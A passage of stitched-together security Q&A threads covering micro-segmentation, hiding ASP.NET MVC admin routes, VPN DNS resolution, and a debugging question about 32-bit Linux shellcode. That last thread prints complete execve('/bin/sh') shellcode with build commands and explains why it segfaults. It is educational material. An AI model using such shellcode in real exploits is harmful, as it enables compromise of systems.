As presented in the whitepaper, custom auth source code doesn't come into the picture at all.   Neither, for that matter, do physical devices like switches, routers, servers, etc.  It's specifically a set of tools and techniques for configuring and managing the virtual networks that sit on top of the physical networks inside of what they call a software-defined-data-center.   So, this is all software, not hardware.   And network management, not custom application code.

What they're advocating is, again, a set of tools and techniques for redefining virtual networks not merely as a set of addresses, routes, and endpoints, but as a set of isolated workloads and then tying a specific virtual network to each of those workloads in an isolated fashion in order to prevent lateral movement.

This way, if a resource for a given workload is breached, the attacker does not have access to the broader network that they might see on a traditional server in a traditional network segment, but only access to the specific network resources and endpoints provisioned for the virtual network for that specific workload.


How to stop revealing web directories in ASP.Net MVC We have built a web application using ASP.Net MVC3 and SQL Server 2008 which has features like credit card payment, etc. We engaged a 3rd party to perform vulnerability assessment and penetration testing.

We got a good report with few security issues. We have fixed all the issues except one.

In that report it says that our application reveals web directories such as 'Admin/Contact/Details' '/Areas/Admin/Styles/'. It is not major issue. But our management want to fix that too ...

Any ideas to solve it correctly and quickly. Appreciate if someone can shed some light on this.

It's a typical scenario with .NET MVC - search-engine friendly URLs are a direct result of proper implementation. But let's have something clear - these are not web directories, but MVC routes, right?

Paranoid pen-testers are often uncomfortable when the admin interface is somehow exposed in the URL, since it can attract unwanted attention, or be harvested and used for fuzzing.

If you want to improve on this, you may need to abuse the ASP.NET routing engine to obfuscate the path, if their concern is that the admin interface is "exposed" - that would be a quick fix, but obfuscation is never the correct way of fixing things.

An alternative is to use a resource manager and routing is based on resource tokens, but that would involve heavy modifications to the application. Each resource has its own resource token ID, and can be dynamically generated when a user logs in. Then every resource (page, style, image) is a link to the resource manager. Then getting a stylesheet will look like:

<link rel="stylesheet" type="text/css" href="/Resource/80af9420ab0401-00291844a/91009abff01">

The same applies to the URLs. This may result in a lot of overhead and poor performance, poor scalability, etc. I do not recommend it, but these days management just listens to whatever external "consultants" they're paying to, and refuses to acknowledge internal talent.

Unfortunately, sometimes it's a question of compromise - security should not be a result of poor scalability or performance...


Shellcode segfaulting I am currently reading the book Shellcoder's Handbook of Wiley, and I'm having a very grave problem implementing one of the shell spawning shellcodes from chapter 3. The code is as follows:

Section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax, eax
mov byte [esi + 7], al
lea ebx, [esi]
mov long [esi + 8], ebx
mov long [esi + 12], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]
int 0x80
GotoCall:
Call shellcode
db ‘/bin/shJAAAAKKKK'

To compile(on a 32bit machine), I use:

$nasm -f elf32 -o shellcode.o shellcode.asm
$ld -o shellcode shellcode.o

But when I execute the binary I get a segfault at shellcode+3. I stepped through the executable in IDA with little luck. After executing  mov byte [esp+7],al The program throws an exception segmentation violation with error code 11. I change the EIP to not execute the instruction, and continue, but as soon as  mov long [esi+8],ebx I again get a segfault.

Why is the program segfaulting? This is a plain ASCII text so the offset has to be correct.
I tried using other registers too but with little luck.
I tried the above exploit on Fedora, Kali 2.0 and Ubuntu 14 and a few not so popular Linux variants (all 32 bit). All throw the same error. I disabled ASLR on all of them.

I'd be glad to get around this. Thanks in advance.

The shellcode is self-modifying and is thus supposed to reside on the stack (or some other writable region). The following instructions

mov byte [esi + 7], al
mov long [esi + 8], ebx
mov long [esi + 12], eax

are overwriting the JAAAAKKKK bytes at the end, which resides in the .text segment. As .text segment is not writable, your program is throwing a segfault.


If I use a VPN, who will resolve my DNS requests? Will they be resolved by my VPN provider, or by my original ISP (if left on "automatic" settings)? Would I have to manually configure a dns server, to make sure my requests will not be resolved by my ISP (constituting a privacy risk)?

Depending on how your VPN is configured, you might or might not use the same DNS for your VPN and for Internet. VPN's are (typically) like an additional IP stack on your system, and can have a separate DNS server address configured. But not all systems do this.

If your VPN does not assign a new DNS for the VPN session then you will continue to use the DNS server(s) configured in your main Internet IP Stack. This can present a problem if the external DNS cannot resolve internal addresses (or as you indicate, if you don't want internal addresses to be known externally).
If your VPN does assign a new DNS - for example by using DHCP option 6 "DNS Server" - then you can have different DNS servers for the VPN and for Internet. Your OS must support this, as must the VPN service. If you send traffic out both stacks at once this would be "Split Mode".
A final option is that you might operate your VPN in Tunnel Mode, sending all communications (including Internet) through the VPN stack. In this case, when you are on the VPN all DNS would use the VPN's DNS. This is probably the most secure way since all internal traffic is sure to stay in the VPN.